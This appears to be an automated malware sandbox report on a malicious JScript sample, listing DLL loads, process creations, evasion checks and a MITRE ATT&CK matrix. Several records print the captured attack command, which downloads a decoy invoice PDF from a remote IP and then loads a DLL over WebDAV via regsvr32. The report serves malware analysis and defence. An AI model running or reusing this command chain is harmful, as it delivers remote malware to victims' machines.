Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2532.js.csv");ITextStream.WriteLine(" entry:7673 f:abxpkq");ITextStream.WriteLine(" exec:2 f:abxpkq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5711			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4141			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep count: 5711 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep count: 4141 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6604	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4144	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3032	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5656	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2143423126.000001DC5E4D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2139344934.000001DC5E4D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2143091992.000001DC5E478000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3366242213.0000026AC4E55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3365223045.0000026ABF82B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
